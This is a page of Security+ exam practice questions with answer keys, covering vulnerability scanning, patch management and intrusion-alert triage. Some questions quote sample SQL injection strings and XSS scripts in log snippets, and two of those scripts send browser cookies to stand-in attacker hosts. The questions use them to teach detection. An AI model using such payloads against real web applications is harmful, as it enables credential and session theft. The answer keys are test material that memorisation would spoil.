Examkin

Security Operations

627 questions

All types627Multiple choice320Multiple select139Matching36Ordering132
Question 561Question →

A security analyst receives a high-severity report from an unauthenticated network-based vulnerability scan indicating that several internal Linux servers are susceptible to a critical remote code execution vulnerability in OpenSSL. However, local patch management logs confirm that all vendor-issued security updates were applied earlier that week. Which of the following is the most appropriate action for the analyst to take to verify whether the servers are genuinely vulnerable?

Show answer & explanation

Answer: Perform a credentialed scan on the servers to inspect installed package versions directly.

Answer

Perform a credentialed scan on the servers to inspect installed package versions directly.
Unauthenticated network scans rely primarily on banner grabbing, which inspects remote service version headers. Many Linux distributions backport security fixes into existing package versions without incrementing the main software version banner, leading unauthenticated scanners to report false positives. Conducting a credentialed scan grants host-level access to query the package manager directly, accurately verifying whether the patch has been applied.

Step-by-Step Solution

1
Analyze the cause of discrepancy between the scan report and patch management records.
Unauthenticated network scans rely on service banner grabbing, which often produces false positives when operating system vendors backport security fixes without changing the primary software version banner.
Identifying why unauthenticated scans misidentify vulnerabilities is necessary to choose the correct verification method.
2
Determine the appropriate scanning methodology to accurately verify patch status.
Credentialed (authenticated) scanning enables the vulnerability scanner to log into the target operating system and audit local package databases or software registries directly.
Host-level verification provides definitive evidence of installed security patches without relying on external network banners.

Key Concept

Credentialed vs. Uncredentialed Vulnerability Scanning and False Positive Resolution
Question 562Question →

An enterprise security team discovers that several Linux application servers frequently deviate from established security baselines following system maintenance. Local administrators have been making manual configuration edits directly on production instances to resolve immediate service issues, bypassing the organization's deployment pipeline. Which of the following strategies best addresses this configuration drift while ensuring all future changes adhere to baseline security standards?

Show answer & explanation

Answer: Implement an automated configuration management system using infrastructure-as-code and version control, where all approved baseline changes are deployed centrally and unauthorized local modifications are automatically overwritten.

Answer

Implement an automated configuration management system using infrastructure-as-code and version control, where all approved baseline changes are deployed centrally and unauthorized local modifications are automatically overwritten.
Centralized automated configuration management utilizing Infrastructure as Code (IaC) ensures that security baselines are consistently maintained across all enterprise servers. By committing changes to version control and running automated enforcement, any manual modifications made directly on production nodes are detected and automatically overwritten to maintain baseline integrity.

Step-by-Step Solution

1
Identify the root cause of the security failure.
System administrators are making manual configuration changes directly on production systems, causing configuration drift from baseline standards.
Manual changes bypass change tracking and automated enforcement mechanisms.
2
Evaluate remediation strategies against configuration management objectives.
Automated configuration management tools paired with version control enforce consistent baselines across all servers.
Automated tools continuously monitor systems and automatically revert unapproved local alterations to maintain security hardening.

Key Concept

Configuration Drift and Automated Baseline Enforcement
Question 563Question →

During a security monitoring shift, an analyst reviews the following alert log snippet generated by a perimeter Network Intrusion Detection System (NIDS) inspecting traffic directed at an internal web application server:

[ALERT] 2026-07-27 14:12:08 UTC - NIDS-Rule-90421
Src: 198.51.100.44:48210 -> Dst: 172.16.10.15:443
Payload snippet: POST /catalog/search HTTP/1.1
Body: item=widget' UNION SELECT username, password_hash FROM user_credentials--

Based on this alert payload and monitoring data, which of the following correctly identifies the attack type and the appropriate analyst action?

Show answer & explanation

Answer: Identify the attack as SQL Injection (SQLi) aimed at extracting backend database records, and initiate containment by blocking the source IP or reviewing backend query logs.

Answer

Identify the attack as SQL Injection (SQLi) aimed at extracting backend database records, and initiate containment by blocking the source IP or reviewing backend query logs.
The alert payload explicitly shows SQL commands ('UNION SELECT... FROM user_credentials') injected into an HTTP POST request parameter. This confirms a SQL injection attack targeting backend database confidentiality. Because a NIDS is a detective monitoring control, alerting security analysts to initiate containment (such as IP blocks or database log analysis) is the appropriate operational response.

Step-by-Step Solution

1
Analyze the NIDS alert payload snippet
The string 'UNION SELECT username, password_hash FROM user_credentials--' contains SQL keywords intended to append queries to backend database calls.
Recognizing database manipulation syntax isolates the vector as a server-side SQL injection attempt rather than a client-side execution attempt.
2
Differentiate network security monitoring control functions
Confirm that NIDS serves as a detective monitoring tool that generates alerts rather than actively dropping inline traffic like a NIPS.
Analyst triage requires understanding tool capabilities to determine manual vs automated response steps.
3
Select effective incident response triage actions
Block the originating external IP address and inspect database execution logs to confirm if any data exfiltration succeeded.
Targeted IP containment and targeted log correlation mitigate threat progression without shutting down necessary application ports.

Key Concept

NIDS Log Payload Analysis and Incident Identification
Estimated Time:1m 30s
Question 564Question →

During a routine compliance audit, a security team discovers that network edge firewalls across several branch offices frequently deviate from approved hardening standards. Investigation reveals that local technicians frequently perform out-of-band emergency modifications to resolve service outages, which are never synchronized back to the central repository. Which of the following technical and procedural controls should the security team implement to resolve configuration drift and ensure ongoing baseline compliance? (Select TWO.)

Select all that apply

Show answer & explanation

Answer: Deploy an automated configuration management tool to continuously monitor appliances and enforce authorized baseline templates.; Establish a formal change management procedure requiring emergency modifications to undergo post-implementation review and baseline updates.

Answer

The organization should implement automated configuration management to continuously monitor baseline compliance and establish a formal change management procedure for documenting emergency hotfixes.
Remediating uncoordinated configuration drift requires a combination of technical automation and governance. Deploying automated configuration management software continuously validates device states against defined templates and remediates unauthorized drift. Concurrently, establishing a formal change management process ensures emergency hotfixes undergo retroactive review so valid changes are synchronized back into baseline configurations.

Step-by-Step Solution

1
Identify technical controls capable of detecting and remediating configuration drift across distributed devices.
Automated configuration management tools provide continuous auditing and enforcement against standardized baselines.
Automation eliminates reliance on manual audits and ensures devices remain aligned with baseline security templates.
2
Identify administrative controls to manage out-of-band maintenance activities.
A mandatory change management review process reconciles emergency manual fixes with official central configuration records.
Procedural alignment ensures authorized operational changes are captured in future baseline revisions.

Key Concept

Configuration Drift and Remediation Controls
Estimated Time:1m 30s
Question 565Question →

Following an infrastructure update, a security team conducts an external unauthenticated vulnerability scan against an enterprise web server. The report highlights several critical kernel vulnerabilities based on the software version header returned by the web service. However, host-based agent logs confirm the operating system was fully patched, and the service header was intentionally customized for version obfuscation. Which of the following best accounts for the high-severity findings in the external scan report?

Show answer & explanation

Answer: The unauthenticated scan relied on banner grabbing, producing a false positive due to modified version headers.

Answer

The external scan produced a false positive because unauthenticated banner grabbing inferred vulnerabilities from customized version headers rather than actual system patch levels.
Unauthenticated vulnerability scans perform banner grabbing to infer software versions from service responses. When version headers are customized or obfuscated for security through obscurity, the scanner misinterprets the header as an unpatched release, creating a false positive. Authenticated scans or local agent audits provide accurate verification by directly checking installed software patches.

Step-by-Step Solution

1
Analyze the scan methodology and findings
The external scan was unauthenticated and relied on remote service responses (banner grabbing).
Unauthenticated scanners assess remote targets by inspecting exposed software headers and protocol responses.
2
Compare external findings with authenticated host agent logs
The host-based agent verified that all kernel patches were applied, while the external banner was customized.
Credentialed host agents verify patch status directly from system configuration and file metadata rather than network banners.
3
Determine the root cause of the discrepancy
Obfuscated banner headers caused the external scanner to report false positive vulnerabilities.
Discrepancies between remote version headers and underlying patch levels frequently trigger false positive alerts in unauthenticated assessments.

Key Concept

Credentialed vs. Unauthenticated Scanning and False Positive Identification
Question 566Question →

A network security monitoring sensor positioned at a cloud perimeter captures the following HTTP payload in a triggered NIDS alert log:

http
POST /api/v1/auth/login HTTP/1.1
Host: portal.example.com
Content-Type: application/x-www-form-urlencoded
Content-Length: 46

user=admin%27%20OR%20%271%27%3D%271&pass=secret

The NIDS rule signature incorrectly labeled the alert as a generic client-side scripting event. Which of the following correctly identifies the actual threat vector represented by this payload and its primary objective?

Show answer & explanation

Answer: SQL Injection attempting to alter backend database query logic to bypass authentication controls.

Answer

SQL Injection attempting to alter backend database query logic to bypass authentication controls.
The correct option accurately identifies the payload `admin' OR '1'='1` as a SQL injection attack. URL decoding `%27` reveals single quotation marks used to break out of the SQL data field context and force the query statement to evaluate as true, thereby bypassing authentication logic at the database layer.

Step-by-Step Solution

1
Decode the HTTP POST body payload from URL encoding.
The decoded string reads `user=admin' OR '1'='1&pass=secret`.
URL encoding hides character syntax such as `%27` representing a single quote `'` and `%20` representing spaces.
2
Analyze the structural intent of the decoded payload against web attack types.
The insertion of `' OR '1'='1` forces an inline database SQL query statement to always evaluate as true.
This signature is characteristic of SQL Injection targeting relational database backend verification rather than browser-rendered scripts (XSS).

Key Concept

Identifying SQL Injection alert signatures in network traffic monitoring
Question 567Question →

A security operations team is preparing to remediate a newly disclosed critical vulnerability affecting enterprise application servers. In what order should the team execute the patch management lifecycle steps from first to last?

Drag items to arrange them in the correct order

Show answer & explanation

Answer

The correct operational sequence begins with testing the patch in a non-production staging environment, followed by submitting a formal change request to the Change Advisory Board, deploying the patch to production during the approved maintenance window, and concluding with post-deployment auditing and verification scanning.
Effective patch and configuration management follows a structured lifecycle: evaluating and testing patches in non-production environments first, securing formal approval from the Change Advisory Board, deploying updates during authorized windows, and performing post-implementation auditing to verify that vulnerability remediation was successful and configuration baselines remain intact.

Step-by-Step Solution

1
Test the patch in staging
Patch compatibility and roll-back steps are confirmed without risking production downtime.
Non-production testing validates stability and provides required evidence for formal change approval.
2
Obtain Change Advisory Board (CAB) approval
Formal authorization and scheduled maintenance windows are established.
Change governance prevents uncoordinated production updates and mitigates enterprise risk.
3
Deploy to production systems
The patch is applied across production application servers.
Execution must align strictly with approved maintenance schedules.
4
Audit and verify baseline compliance
Vulnerability scanning confirms patch installation and baseline integrity.
Post-deployment validation proves successful remediation and ensures system baselines remain secure.

Key Concept

Patch Management Lifecycle and Change Control Governance
Question 568Question →

Match each vulnerability scanning methodology with its corresponding operational description and primary enterprise use case.

Click a left item, then click its matching right item

Items

Credentialed Network Scan
Non-Credentialed Network Scan
Passive Network Assessment
Agent-Based Vulnerability Scan

Matches

Show answer & explanation

Answer

Credentialed Network Scan pairs with host authentication and administrative auditing; Non-Credentialed Network Scan pairs with unauthenticated port/banner probing; Passive Network Assessment pairs with traffic mirror/TAP monitoring; Agent-Based Vulnerability Scan pairs with persistent local service execution for off-network endpoints.
The pairings correctly match each scanning approach with its distinct operation: Credentialed scans require host logins to audit internal configurations; Non-Credentialed scans assess external visibility without credentials; Passive assessments mirror traffic without sending packets; and Agent-based scans use local host software for continuous oversight of mobile assets.

Step-by-Step Solution

1
Identify authentication requirement levels for network-based scans.
Match credentialed scanning to administrative login probing and non-credentialed scanning to unauthenticated perimeter surface probing.
Authentication determines whether the scanner can inspect internal host state or only externally visible network behavior.
2
Evaluate traffic generation impact (active active vs passive listening).
Match passive network assessment to non-intrusive traffic monitoring via SPAN or TAP ports.
Passive monitoring observes existing packet flows without sending probes into the network.
3
Differentiate network-centric assessment from host-resident telemetry collection.
Match agent-based scanning to local persistent software services capable of auditing disconnected or roaming hosts.
Agents execute locally on the target operating system, removing reliance on active network scanning connections.

Key Concept

Vulnerability Assessment Methodologies and Scan Configuration Types
Question 569Question →

A Security Operations Center (SOC) analyst receives a high-severity intrusion detection alert indicating an unusual volume of outbound DNS queries containing randomized long subdomains. Arrange the following security operations steps in the correct chronological sequence from initial alert triage to network-wide remediation.

Drag items to arrange them in the correct order

Show answer & explanation

Answer

The correct sequence begins with analyzing packet captures and NSM logs to inspect the DNS payloads (Step 1), followed by correlating endpoint logs to confirm a true positive (Step 2), isolating the affected system to halt exfiltration (Step 3), and finally implementing DNS sinkhole and firewall blocks across the enterprise (Step 4).
The correct workflow follows standard network security operations methodology: initial traffic analysis (inspecting packet captures to determine payload indicators), true positive validation (correlating host process activity), targeted host containment (isolating the endpoint to stop data exfiltration), and broader organizational mitigation (updating firewall blocks and DNS sinkholes).

Step-by-Step Solution

1
Analyze network security monitoring logs and PCAP files.
Identified anomalous DNS TXT payload structures and target domain names.
Triage begins at the network level to understand the scope and signature of the alert.
2
Correlate network data with endpoint activity logs.
Confirmed an unauthorized executable generating DNS queries on a specific host.
Validation prevents taking destructive containment measures based on false positives.
3
Isolate the compromised system from the network segment.
Active DNS tunneling exfiltration session terminated.
Host containment prevents further exfiltration while preserving forensic evidence.
4
Apply perimeter firewall blocks and update DNS sinkhole configurations.
Blocked command-and-control and exfiltration domains organization-wide.
Mitigation controls ensure no other host on the network can communicate with the attacker infrastructure.

Key Concept

Network Security Monitoring Alert Triage and Incident Containment Lifecycle
Question 570Question →

A security analyst conducts a scheduled credentialed vulnerability scan against a cluster of Windows servers. Although the scan completes without generating network connectivity errors, the resulting report indicates zero missing operating system patches, despite known unpatched software being present on the servers. A review of the scanner audit logs shows that initial SMB authentication succeeded, but subsequent administrative probes failed when accessing remote management interfaces. Which of the following best explains why the vulnerability scanner produced incomplete results?

Show answer & explanation

Answer: The service account configured for the scan lacked sufficient privileges to query the remote registry and file system.

Answer

The service account configured for the scan lacked sufficient privileges to query the remote registry and file system.
Credentialed vulnerability scans require administrative-level authorization on target hosts to perform complete file system and registry audits. When a scanner logs in with a standard non-administrative account, the network authentication phase succeeds (e.g., SMB connection on port 445), but subsequent queries to system registries and patch catalogs are denied. This produces incomplete scan results and false negatives regarding missing updates.

Step-by-Step Solution

1
Analyze the scanner log details provided in the scenario.
Identify that SMB authentication succeeded, but detailed system probing failed.
Successful SMB authentication indicates that network ports are open and basic account credentials are valid.
2
Evaluate permission requirements for credentialed host audits.
Recognize that inspecting Windows patch levels requires local administrative privileges (such as access to Remote Registry and WMI).
Standard non-administrative accounts are restricted from reading sensitive system hives and patch registries, causing false negative results.
3
Identify the primary root cause matching the scan behavior.
Determine that insufficient account privileges prevented complete vulnerability assessment.
Granting proper administrative rights to the scan service account resolves authorization bottlenecks during deep host probing.

Key Concept

Credentialed Vulnerability Scanning Authorization Requirements
Question 571Question →

Match each vulnerability assessment methodology with its most appropriate enterprise operational deployment scenario.

Click a left item, then click its matching right item

Items

Credentialed Vulnerability Scanning
Non-Credentialed Vulnerability Scanning
Agent-Based Scanning
Passive Network Assessment

Matches

Show answer & explanation

Answer

Credentialed Vulnerability Scanning pairs with internal configuration and patch auditing; Non-Credentialed Vulnerability Scanning pairs with perimeter external attacker perspective evaluation; Agent-Based Scanning pairs with continuous visibility for remote and transient endpoints; Passive Network Assessment pairs with traffic monitoring for sensitive OT/SCADA systems.
Credentialed vulnerability scanning delivers accurate internal patch and software configuration details using privilege-based access. Non-credentialed scanning replicates external threat actor visibility by testing open ports and services without user credentials. Agent-based scanning ensures continuous host monitoring regardless of endpoint network attachment. Passive network assessment monitors network packet streams safely without generating active traffic that could disrupt sensitive OT hardware.

Step-by-Step Solution

1
Analyze Credentialed Scanning requirements
Requires authentication to query host OS internals and software inventory.
Allows deep host inspection with low false positives.
2
Analyze Non-Credentialed Scanning capabilities
Probes exposed services over the network without logging in.
Simulates external adversary visibility.
3
Analyze Agent-Based Scanning advantages
Executes audits directly on local endpoint hardware.
Provides coverage for mobile devices that do not regularly attach to the local network.
4
Analyze Passive Assessment constraints
Listens to packet flows on span/mirror ports without transmitting probes.
Prevents system disruption on fragile industrial control systems.

Key Concept

Vulnerability Assessment Methodologies and Use Cases
Question 572Question →

A security analyst is investigating a high-severity alert generated by a Network Intrusion Detection System (NIDS) positioned at an internal network segment boundary. The NIDS alert log records the following HTTP request event:

2026-07-27T10:14:22Z NIDS_ALERT [ID: 8042911]
SRC: 192.168.10.44:51204 -> DST: 10.1.20.15:80
PROTO: TCP HTTP/1.1
PAYLOAD: GET /profile.php?user=<script>document.location='http://badactor.net/collect.php?cookie='+document.cookie</script> HTTP/1.1
HOST: app-server01.internal.corp
USER-AGENT: Mozilla/5.0

Based on the log entry, which of the following correctly identifies the specific attack threat vector and the most effective inline network control to prevent subsequent payload execution?

Show answer & explanation

Answer: Cross-Site Scripting (XSS); implement a Web Application Firewall (WAF) or Network Intrusion Prevention System (NIPS) inline inspect rule.

Answer

The attack vector is Cross-Site Scripting (XSS), and the most effective inline mitigation control is deploying a Web Application Firewall (WAF) or Network Intrusion Prevention System (NIPS) to filter malicious application-layer HTTP payloads.
The log payload contains a client-side JavaScript snippet (`<script>document.cookie...`) designed to steal session credentials, which defines a Cross-Site Scripting (XSS) attack. To actively block this threat at the network level without bringing down web service functionality, an inline application-layer control such as a Web Application Firewall (WAF) or Network Intrusion Prevention System (NIPS) is required.

Step-by-Step Solution

1
Analyze the captured NIDS payload log snippet
The URL query parameter contains embedded HTML/JavaScript code (<script>document.location='http://badactor.net/collect.php?cookie='+document.cookie</script>) targeting client session cookies.
Identifying executable client-side scripts within HTTP parameters differentiates Cross-Site Scripting (XSS) from database query manipulation (SQLi).
2
Evaluate required security control capability
The security control must inspect Layer 7 HTTP application payloads inline to block malicious script vectors without disrupting legitimate web traffic.
Passive out-of-band sensors (such as TAPs) cannot drop packets, and layer 3/4 firewalls or router ACLs cannot inspect deep application parameters.
3
Select the appropriate network mitigation solution
A Web Application Firewall (WAF) or Network Intrusion Prevention System (NIPS) operating inline provides real-time HTTP payload inspection and filtering.
Inline application-layer security tools parse URI queries and prevent malicious scripts from reaching vulnerable endpoints.

Key Concept

Cross-Site Scripting (XSS) Detection and Application Layer Security Monitoring
Question 573Question →

Network security monitoring logs report repeated periodic UDP bursts originating from an internal application server to an unfamiliar external IP address over port 123. System configuration audits confirm that standard Network Time Protocol (NTP) services are disabled on this host. Which of the following initial actions should the security team take to analyze and contain this anomalous network activity? (Select TWO.)

Select all that apply

Show answer & explanation

Answer: Capture and analyze raw network packet payloads at the gateway interface to evaluate the internal structure of the non-standard UDP traffic.; Implement network isolation controls on the affected internal application server to restrict external outbound communication.

Answer

The correct actions are capturing network packet payloads at the gateway interface for deep inspection and implementing network isolation controls on the affected internal application server.
Analyzing raw packet payloads helps security teams identify covert tunneling or unauthorized communications disguised as standard protocols, while host isolation prevents potential data exfiltration without destroying evidence.

Step-by-Step Solution

1
Analyze network traffic contents
Identify whether the UDP port 123 traffic represents legitimate protocol behavior or covert data encapsulation.
Packet capture and payload inspection are necessary to detect protocol tunneling when network flow monitoring flags disabled services transmitting data.
2
Contain the suspicious endpoint
Block further outbound network communication from the affected host.
Isolation stops potential exfiltration channels and command-and-control connectivity while allowing security analysts to conduct host forensics.

Key Concept

Network Security Monitoring and Anomaly Response
Estimated Time:1m 30s
Question 574Question →

A security analyst is reviewing results from a routine network vulnerability scan targeting internal application servers. The generated report lists open network ports and OS banners, but fails to identify missing operating system patches, misconfigured registry settings, or internal web application vulnerabilities. Which of the following adjustments should the analyst make to resolve these scanning visibility gaps? (Select TWO)

Select all that apply

Show answer & explanation

Answer: Provide valid administrative credentials to the scanner to perform local host checks.; Run an authenticated web application vulnerability scan targeted at inspecting dynamic application code and scripts.

Answer

The analyst should provide valid administrative credentials for host-level checks and execute an authenticated web application vulnerability scan.
Uncredentialed network scans can only identify exposed network ports and basic service banners. To detect missing operating system patches and misconfigured registry keys, the scanner requires administrative credentials to perform host-based checks. Similarly, assessing web application vulnerabilities requires dedicated, application-aware scanning techniques to audit client-side scripts and application logic.

Step-by-Step Solution

1
Analyze the limitation of uncredentialed network scanning
Uncredentialed scans interact only with network-facing services and banners, missing internal OS configurations, missing patches, and hidden application flaws.
Identifying internal system state requires local execution privileges on the target.
2
Select credentialed host auditing and application-layer scanning tools
Administrative credentials enable deep host auditing, while application-focused scanners audit web application logic.
Both methods address distinct visibility gaps identified in the scan report.

Key Concept

Credentialed vs. Uncredentialed Vulnerability Scanning and Web Application Assessment Methods
Question 575Question →

A security operations team is configuring an enterprise vulnerability management program for remote branch office Linux workstations connected over low-bandwidth VPN links. During preliminary network-based scanning, central scanner traffic caused noticeable network congestion across the VPN tunnels, and local host firewalls on workstations dropped multiple probe packets, resulting in incomplete scan results. Which of the following solutions should the team deploy to perform comprehensive vulnerability assessments without saturating WAN bandwidth or altering workstation firewall policies?

Show answer & explanation

Answer: Deploy host-based vulnerability scanning agents on the workstations to collect system metadata locally and transmit compressed audit results to the management console.

Answer

Deploying host-based vulnerability scanning agents directly on remote workstations enables local patch and configuration auditing without generating high network scan traffic over WAN links.
Deploying host-based scanning agents is the standard solution for environments with constrained network bandwidth or restrictive host firewalls. Agents run locally on the host, audit local software versions and configurations directly, and send small compressed report packages back to the vulnerability management system, avoiding heavy network packet generation across the VPN.

Step-by-Step Solution

1
Analyze operational constraints in the scenario
Identified low-bandwidth VPN connections, network congestion caused by network-based scanning, and dropped probes from local host firewalls.
Scanning across WAN/VPN links creates network overhead, while local host firewalls often block unauthenticated network probes.
2
Evaluate vulnerability scanning deployment methodologies
Agent-based scanning executes audit checks locally on the host OS, consuming minimal local CPU/RAM and transmitting only lightweight output summaries to the server.
Host agents do not rely on inbound network probing, eliminating firewall block issues and minimizing VPN bandwidth usage.
3
Select the optimal assessment mechanism
Host-based agents fulfill both requirements by bypassing host firewall probe blocks and preventing VPN bandwidth saturation.
Agent-based assessments provide deep internal OS visibility while requiring minimal network footprint.

Key Concept

Agent-based vs. Network-based Vulnerability Scanning
Estimated Time:1m 30s
Question 576Question →

Following an enterprise-wide remediation effort to patch critical remote code execution vulnerabilities across multiple database servers, a security analyst must confirm that all identified flaws have been successfully resolved. To complete this verification efficiently without causing unnecessary network overhead or waiting for a complete multi-subnet scan cycle, which of the following scanning approaches should the analyst execute?

Show answer & explanation

Answer: Execute a targeted differential scan scoped specifically to the previously affected assets and CVE identifiers.

Answer

Execute a targeted differential scan scoped specifically to the previously affected assets and CVE identifiers.
Executing a targeted differential scan (also known as a remediation scan) allows security analysts to re-assess only the specific hosts and vulnerabilities identified in prior reports. This approach directly validates patch deployment success while minimizing scan duration and network resource consumption.

Step-by-Step Solution

1
Identify the primary goal of the security assessment task
The goal is to verify that previously reported vulnerabilities were successfully patched on specific servers.
Post-remediation verification requires auditing the state of known software flaws.
2
Evaluate operational constraints
The assessment must minimize network overhead and complete rapidly without initiating a full discovery sweep.
Running a complete enterprise vulnerability scan consumes significant network bandwidth and unnecessary processing time on unpatched systems.
3
Select the appropriate vulnerability scan configuration type
A targeted differential (or remediation) vulnerability scan focuses exclusively on previously flagged hosts and specific CVEs.
Differential scanning validates patch effectiveness quickly and efficiently without re-scanning unchanged assets.

Key Concept

Remediation and Differential Vulnerability Scanning
Question 577Question →

During a routine security monitoring shift, a Security Operations Center (SOC) analyst reviews an event logged by an out-of-band Network Intrusion Detection System (NIDS). The NIDS alert triggers on inbound HTTP GET traffic directed at a customer portal web server containing the payload string `?user=<script>window.location='http://attacker.com/steal.php?c='+document.cookie</script>`. A junior team member claims the log depicts database manipulation and recommends modifying SQL database queries. Which of the following best evaluates the NIDS alert and identifies the most appropriate remediation strategy?

Show answer & explanation

Answer: The alert indicates a Cross-Site Scripting (XSS) attack attempting to harvest session credentials; developers should implement input validation and context-aware output encoding on the application.

Answer

The alert indicates a Cross-Site Scripting (XSS) attack attempting to harvest session credentials; developers should implement input validation and context-aware output encoding on the application.
The captured payload features client-side JavaScript (`<script>` tags attempting to transmit `document.cookie` data), which is characteristic of a Cross-Site Scripting (XSS) attack. The effective countermeasure for XSS vulnerabilities involves enforcing strict input validation and context-aware output encoding at the web application layer.

Step-by-Step Solution

1
Analyze the log payload captured by the NIDS
The payload string `?user=<script>...</script>` contains executable client-side JavaScript referencing `document.cookie`.
Identifying payload syntax distinguishes client-side scripting attacks from database or operating system command injections.
2
Classify the security threat
The attack pattern matches Cross-Site Scripting (XSS), which targets application users rather than the backend database engine.
Script tags and DOM access properties like `document.cookie` are signatures of XSS attacks.
3
Select the proper control and remediation action
Implement proper input validation, context-aware output encoding, and Secure/HTTPOnly cookie flags on the web application.
Application-level encoding prevents client browsers from interpreting untrusted user input as executable script code.

Key Concept

Identifying Cross-Site Scripting (XSS) payloads in network security monitoring alerts and selecting appropriate application-layer mitigations.
Question 578Question →

Match each vulnerability assessment methodology with its corresponding operational characteristic or execution behavior.

Click a left item, then click its matching right item

Items

Credentialed Vulnerability Scan
Non-Credentialed Vulnerability Scan
Passive Vulnerability Assessment
Intrusive Vulnerability Assessment

Matches

Show answer & explanation

Answer

Credentialed Vulnerability Scan pairs with administrative privilege inspection; Non-Credentialed Vulnerability Scan pairs with unauthenticated network probing; Passive Vulnerability Assessment pairs with continuous packet monitoring without probe generation; Intrusive Vulnerability Assessment pairs with exploitation payloads that risk service interruption.
Each vulnerability scanning methodology is accurately paired with its core operational mechanics: credentialed scans use privileged access for deep internal host inspection, non-credentialed scans evaluate external attack surface exposure, passive assessments listen silently to packet streams, and intrusive assessments run exploit vectors that carry risk of service disruption.

Step-by-Step Solution

1
Analyze access level requirements for host-level visibility vs. boundary exposure.
Identified that credentialed scans require administrative accounts for internal inspection, while non-credentialed scans inspect external exposure without logons.
Vulnerability scanners operate differently depending on whether authentication tokens are provided.
2
Distinguish between active probing methods and silent traffic observation.
Matched passive vulnerability assessment to network packet monitoring because passive techniques generate zero synthetic traffic probes.
Passive monitoring is critical for sensitive operational technology environments where active probes might crash endpoints.
3
Evaluate potential system operational impact during assessment activities.
Matched intrusive vulnerability assessment to exploitation attempt behaviors that carry downtime risks.
Intrusive scans test actual exploit paths rather than simply checking banner signatures, creating potential instability.

Key Concept

Vulnerability Assessment Methodologies and Scanner Configurations
Question 579Question →

A security analyst receives a high-severity alert from an inline Network Intrusion Prevention System (NIPS) indicating potential encrypted command-and-control (C2) beaconing originating from an internal endpoint to an untrusted external IP address. In what sequence should the analyst execute the network security monitoring and initial containment workflow?

Drag items to arrange them in the correct order

Show answer & explanation

Answer

The correct response workflow begins with alert correlation in the SIEM, followed by isolating the endpoint, querying NetFlow and packet captures to quantify damage, implementing perimeter blocks, and finally conducting host forensic remediation.
The workflow follows standard incident response procedures: validation (verifying SIEM/NIPS alert), containment (host network isolation), investigation/scoping (NetFlow/PCAP analysis), enterprise protection (perimeter block/sinkholing), and eradication/remediation (host forensics).

Step-by-Step Solution

1
Validate the NIPS alert against SIEM log aggregations.
Confirms the alert is a true positive C2 beaconing attempt.
Prevents unnecessary containment procedures caused by false-positive alerts.
2
Isolate the compromised internal endpoint from the network.
Halts active C2 communication and blocks lateral movement within the network.
Immediate containment is required once a true positive C2 connection is confirmed.
3
Inspect historic NetFlow records and PCAP data.
Establishes a timeline of network activity and measures exfiltration metrics.
Deep monitoring telemetry analysis reveals the extent of compromised data.
4
Deploy perimeter block rules and DNS sinkholes for the malicious external indicators.
Protects the broader organization from connecting to the C2 infrastructure.
Defends remaining assets while investigation continues.
5
Execute detailed host-based forensic analysis and malware remediation.
Removes the root cause process and restores the system to a clean state.
Ensures complete eradication of the threat before returning the asset to service.

Key Concept

Incident Response Triage and Containment Workflow in Network Security Monitoring
Question 580Question →

A security analyst reviewing network security monitoring logs spots an alert triggered by an HTTP POST payload sent to an internal web application: `POST /api/search HTTP/1.1 Host: app.internal Payload: vendor_id=102 UNION SELECT username, password_hash FROM user_accounts--`. The analyst must identify the nature of the alert and determine the correct mitigation step without disabling HTTP services across the enterprise subnet. Which of the following correctly categorizes this attack vector and specifies the appropriate security control?

Show answer & explanation

Answer: The event represents a SQL injection attack; input validation and parameterized queries or WAF inspection rules should be applied.

Answer

The correct answer identifies the event as a SQL injection attack and recommends implementing application input validation, parameterized database queries, or WAF filtering rules.
The alert payload explicitly uses SQL database command structures (`UNION SELECT ... --`) attempting to extract data from backend tables. Mitigating SQL injection requires application-layer sanitization, prepared statements, or WAF inspection.

Step-by-Step Solution

1
Analyze the observed network alert payload
The payload contains `UNION SELECT username, password_hash FROM user_accounts--`, which is SQL syntax designed to extract data from a relational database.
Recognizing database query keywords confirms that the payload targets database interpreters rather than client-side script execution engines.
2
Evaluate appropriate remediation controls for web database attacks
Application-level defenses such as parameterized queries, prepared statements, and Web Application Firewall (WAF) inspection effectively neutralize SQL injection without disrupting underlying network connectivity.
Network layer controls like port blocking are overly broad and disrupt legitimate service availability.

Key Concept

Network Security Monitoring & Web Application Attack Triage
PreviousPage 29 / 32Next
Security Operations Practice Questions — CompTIA Security+ — Page 29 | Examkin